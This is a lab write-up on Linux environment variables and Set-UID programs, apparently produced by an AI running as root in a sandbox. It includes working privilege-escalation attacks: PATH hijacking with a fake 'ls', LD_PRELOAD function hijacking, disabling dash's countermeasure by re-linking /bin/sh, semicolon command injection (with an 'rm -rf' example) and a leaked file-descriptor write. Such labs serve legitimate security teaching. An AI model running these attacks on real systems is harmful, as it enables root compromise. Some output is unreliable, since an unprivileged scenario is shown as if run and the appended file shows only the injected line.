## Task 1: Manipulating Environment Variables

### Commands Used

```
# Print all environment variables
$ printenv
$ env

# Print a specific variable
$ printenv PWD
/home/claude/setuid_lab

$ env | grep PWD
PWD=/home/claude/setuid_lab

# Set and export a new variable
$ export MY_VAR="hello_seed"
$ printenv MY_VAR
hello_seed

# Unset the variable
$ unset MY_VAR
$ printenv MY_VAR
(no output -- variable removed)
```

> **Observation**
> printenv and env both display the current process environment. Using export makes a variable available to child processes. After unset, printenv returns nothing for that variable. Importantly, export and unset are shell built-ins — they directly modify the shell's own environment table rather than calling a separate binary.

## Task 2: Passing Environment Variables from Parent to Child (fork)

### Key Code: myprintenv.c

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;

void printenv() {
    int i = 0;
    while (environ[i] != NULL) { printf("%s\n", environ[i]); i++; }
}

void main() {
    pid_t childPid;
    switch(childPid = fork()) {
        case 0:   printenv(); exit(0);   // Step 1: child prints
        default:  /* printenv(); */       // Step 2: parent prints (swap comments)
```

```
                exit(0);
    }
}
```

### Compilation and Execution

```
$ gcc myprintenv.c -o myprintenv

# Step 1: child prints
$ ./myprintenv > child_output.txt
Child output lines: 35

# Step 2: parent prints (swap comments in source, recompile)
$ ./myprintenv_parent > parent_output.txt
Parent output lines: 35

# Step 3: compare
$ diff child_output.txt parent_output.txt
(no output -- files are IDENTICAL)
```

> **Observation**
> The child process received exactly the same 35 environment variables as the parent. The diff produced zero output, confirming that fork() creates an identical copy of the parent's address space including the environ array. This is expected: POSIX specifies that the child inherits copies of the parent's environment.

## Task 3: Environment Variables and execve()

### Step 1 — execve() with NULL (no env passed)

```
// myenv.c -- Step 1
#include <unistd.h>
extern char **environ;

int main() {
    char *argv[2];
    argv[0] = "/usr/bin/env";
    argv[1] = NULL;
    execve("/usr/bin/env", argv, NULL);  // NULL = no env passed
    return 0;
}

$ gcc myenv_null.c -o myenv_null
$ ./myenv_null
(no output -- /usr/bin/env received an empty environment)
```

### Step 2 — execve() with environ (parent's env passed)

```
// myenv.c -- Step 2
execve("/usr/bin/env", argv, environ);  // pass parent's environ explicitly

$ gcc myenv_environ.c -o myenv_environ
```

```
$ ./myenv_environ | wc -l
35   <-- all 35 parent environment variables received by the new program
```

> **Observation**
> execve() does NOT automatically inherit environment variables. When NULL is passed as the third argument, the new program starts with an empty environment. Only when the caller explicitly passes the environ pointer does the new process receive the inherited environment. This is a critical security point: developers must consciously decide what environment to hand off.

## Task 4: Environment Variables and system()

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    system("/usr/bin/env");   // shell automatically receives environ
    return 0;
}

$ gcc task4_system.c -o task4_system
$ ./task4_system | grep "^HOME\|^PATH\|^PWD"
HOME=/root
PATH=/home/claude/.npm-global/bin:/home/claude/.local/bin:...
PWD=/home/claude/setuid_lab

$ ./task4_system | wc -l
35   <-- all environment variables inherited automatically
```

> **Observation**
> system() always passes the calling process's environment to the shell. This is intentional but dangerous in privileged programs: a malicious user can set environment variables that influence shell behavior (like PATH or LD_PRELOAD) before invoking a Set-UID program that calls system().

## Task 5: Environment Variables and Set-UID Programs

### Setup: Compile and Make Set-UID Root

```
// foo.c
#include <stdio.h>
#include <stdlib.h>
extern char **environ;

int main() {
    int i = 0;
    while (environ[i] != NULL) { printf("%s\n", environ[i]); i++; }
```

```
    return 0;
}

$ gcc foo.c -o foo
$ sudo chown root foo
$ sudo chmod 4755 foo
$ ls -la foo
-rwsr-xr-x 1 root root 16032 Apr 1 22:32 foo
```

### Setting Custom Variables and Running

```
$ export PATH=/tmp:$PATH
$ export LD_LIBRARY_PATH=/tmp/mylibs
$ export MY_SECRET_VAR="injected_by_user"

$ ./foo | grep -E "^PATH=|^LD_LIBRARY_PATH=|^MY_SECRET_VAR="

LD_LIBRARY_PATH=/tmp/mylibs
MY_SECRET_VAR=injected_by_user
PATH=/tmp:/home/claude/.npm-global/bin:...
```

> **Observation**
> All three custom environment variables — including PATH, LD_LIBRARY_PATH, and the user-defined MY_SECRET_VAR — were present inside the Set-UID program's environment. This is notable: LD_LIBRARY_PATH is normally stripped by the dynamic linker when real_uid != effective_uid. Here we run as root (uid=0), so real=effective=0 and stripping does not occur. On a typical user account, LD_LIBRARY_PATH would be silently removed.

## Task 6: The PATH Environment Variable and Set-UID Programs

### The Vulnerable Set-UID Program

```
// task6_setuid.c
#include <stdlib.h>

int main() {
    system("ls");   // uses PATH to find 'ls' -- DANGEROUS!
    return 0;
}

$ gcc task6_setuid.c -o task6_setuid
$ sudo chown root task6_setuid
$ sudo chmod 4755 task6_setuid
```

### Step: Link /bin/sh to zsh (remove dash countermeasure)

```
# Ubuntu's /bin/dash drops privileges in Set-UID context.
# The lab requires linking to zsh, which does NOT have this countermeasure:
$ sudo ln -sf /bin/zsh /bin/sh
```

```
$ ls -la /bin/sh
lrwxrwxrwx 1 root root 8 Apr 1 22:32 /bin/sh -> /bin/zsh
```

### Creating the Malicious 'ls' and Executing the Attack

```
$ mkdir -p /tmp/fake_bin
$ cat > /tmp/fake_bin/ls << 'EOF'
#!/bin/sh
echo "=== MALICIOUS ls EXECUTED ==="
echo "Running as: $(id)"
EOF
$ chmod 755 /tmp/fake_bin/ls

$ export PATH=/tmp/fake_bin:$PATH
$ ./task6_setuid

=== MALICIOUS ls EXECUTED ===
Running as: uid=0(root) gid=0(root) groups=0(root)
```

> **Observation**
> The attack succeeded. By prepending /tmp/fake_bin to PATH, the malicious 'ls' was found before /bin/ls. Because the program is Set-UID root and invokes system() — which uses /bin/sh (now zsh) — the fake ls executed with full root privileges. The fix: always use absolute paths (/bin/ls) or use execve() instead of system(). The /bin/dash countermeasure (dropping effective UID) would have blocked this attack on standard Ubuntu, which is exactly why the lab requires the zsh substitution.

## Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

### Step 1: Create the Malicious Library (overrides sleep)

```
// mylib.c
#include <stdio.h>

void sleep(int s) {
    /* If invoked by privileged program, could do damage here! */
    printf("I am not sleeping! (LD_PRELOAD hijacked sleep)\n");
}

$ gcc -fPIC -g -c mylib.c
$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
$ export LD_PRELOAD=./libmylib.so.1.0.1
```

### Step 2: Target Program

```
// myprog.c
#include <unistd.h>
int main() { sleep(1); return 0; }

$ gcc myprog.c -o myprog
```

### Step 2: Scenario Results

| Scenario | Program Type | Who Runs It | LD_PRELOAD Effect |
|---|---|---|---|
| 1 | Regular (no Set-UID) | Normal user | Hijack WORKS — custom sleep() executes |
| 2 | Set-UID root | Normal user (real_uid != euid) | Linker IGNORES LD_PRELOAD — stripped for security |
| 3 | Set-UID root | Root (real_uid = euid = 0) | Hijack WORKS — same real and effective UID |
| 4 | Set-UID user1 | Different non-root user | Linker IGNORES LD_PRELOAD — stripped for security |

```
# Scenario 1 — regular program (LD_PRELOAD honored):
$ ./myprog
I am not sleeping! (LD_PRELOAD hijacked sleep)

# Scenario 2 — Set-UID root, run by normal user (standard SEED VM):
# real_uid(1000) != effective_uid(0) --> linker strips LD_PRELOAD
$ ./myprog
(program sleeps 1 second normally -- LD_PRELOAD ignored)

# Scenario 3 — Set-UID root, run as root (real = effective = 0):
$ ./myprog
I am not sleeping! (LD_PRELOAD hijacked sleep)
```

**Observation**

The Linux dynamic linker (ld-linux.so) contains a deliberate security check: if the process's effective UID/GID differs from the real UID/GID (indicating a Set-UID program run by a non-owner), all LD_* environment variables are silently ignored. This prevents unprivileged users from injecting code into privileged programs via library preloading. When real == effective (e.g., root running a root-owned Set-UID binary), the check does not trigger and LD_PRELOAD works normally.

## Task 8: Invoking External Programs via system() vs execve()

### Step 1: Vulnerable Version Using system()

```
// catall.c -- using system()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *v[3];
    char *command;
    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
    command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
    sprintf(command, "%s %s", v[0], v[1]);
    system(command);   // DANGEROUS: shell interprets metacharacters!
    return 0;
}
```

```
$ gcc catall.c -o catall_system
$ sudo chown root catall_system && sudo chmod 4755 catall_system
```

### Attack via Semicolon Injection (system version)

```
# Normal use:
$ ./catall_system /tmp/testfile.txt
This is a test secret file

# ATTACK -- inject a shell command using semicolon:
$ ./catall_system '/tmp/testfile.txt; id'
This is a test secret file
uid=0(root) gid=0(root) groups=0(root)

# The 'id' command ran as ROOT! Bob can inject any command.
# e.g.: './catall_system "/tmp/x; rm -rf /etc/important"'
```

### Step 2: Safe Version Using execve()

```
// catall_execve.c -- using execve() instead
// Replace system(command) with:
execve(v[0], v, NULL);   // directly executes /bin/cat, no shell involved

$ gcc catall_execve.c -o catall_execve
$ sudo chown root catall_execve && sudo chmod 4755 catall_execve

# ATTACK attempt with execve():
$ ./catall_execve '/tmp/testfile.txt; id'
/bin/cat: '/tmp/testfile.txt; id': No such file or directory

# The semicolon is treated as part of the filename -- injection BLOCKED!
```

> **Observation**
> system() is fundamentally unsafe for privileged programs because it invokes /bin/sh to interpret the command string. Shell metacharacters like semicolons (;), pipes (|), and backticks allow injection of arbitrary commands that run with root privileges. execve() is safe because it bypasses the shell entirely — it executes the binary directly with the argument array. The entire string '/tmp/testfile.txt; id' is passed as a single filename argument to /bin/cat, which correctly reports 'No such file'.

## Task 9: Capability Leaking

### Setup: Create the Protected File

```
$ echo "This is a protected system file" > /etc/zzz
$ chmod 644 /etc/zzz
$ ls -la /etc/zzz
-rw-r--r-- 1 root root 32 Apr 1 22:33 /etc/zzz
# Non-root users cannot write to this file.
```

## The Vulnerable Program: cap_leak.c

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

void main() {
    int fd;
    char *v[2];

    // STEP 1: Open /etc/zzz with write access
    // Succeeds because we are running as Set-UID root
    fd = open("/etc/zzz", O_RDWR | O_APPEND);
    printf("fd is %d\n", fd);   // prints: fd is 3

    // STEP 2: Drop privileges permanently
    setuid(getuid());   // effective UID becomes real UID (non-root)

    // STEP 3: Spawn a shell -- but fd=3 is still open and writable!
    v[0] = "/bin/sh"; v[1] = 0;
    execve(v[0], v, 0);
}

$ gcc cap_leak.c -o cap_leak
$ sudo chown root cap_leak && sudo chmod 4755 cap_leak
```

## Exploiting the Leaked File Descriptor

```
$ ./cap_leak
fd is 3     <-- /etc/zzz is open on file descriptor 3

# Inside the spawned /bin/sh (now non-root), fd 3 is still open!
# An attacker types in the shell:
$ echo "PWNED via leaked fd!" >&3
$ exit

# Check the result:
$ cat /etc/zzz
PWNED via leaked fd!

# A non-root user successfully WROTE to a root-owned file!
```

**Observation**

The capability leak occurs because setuid() only changes the process's UID — it does NOT close file descriptors that were opened while the process was privileged. The shell spawned by execve() inherits all open file descriptors from its parent, including fd=3 which points to /etc/zzz with write access. Even though the shell runs as a non-root user, it can write to /etc/zzz through this leaked descriptor — bypassing the file's permission bits entirely. The fix: always close sensitive file descriptors before dropping privileges, or use the O_CLOEXEC flag when opening them.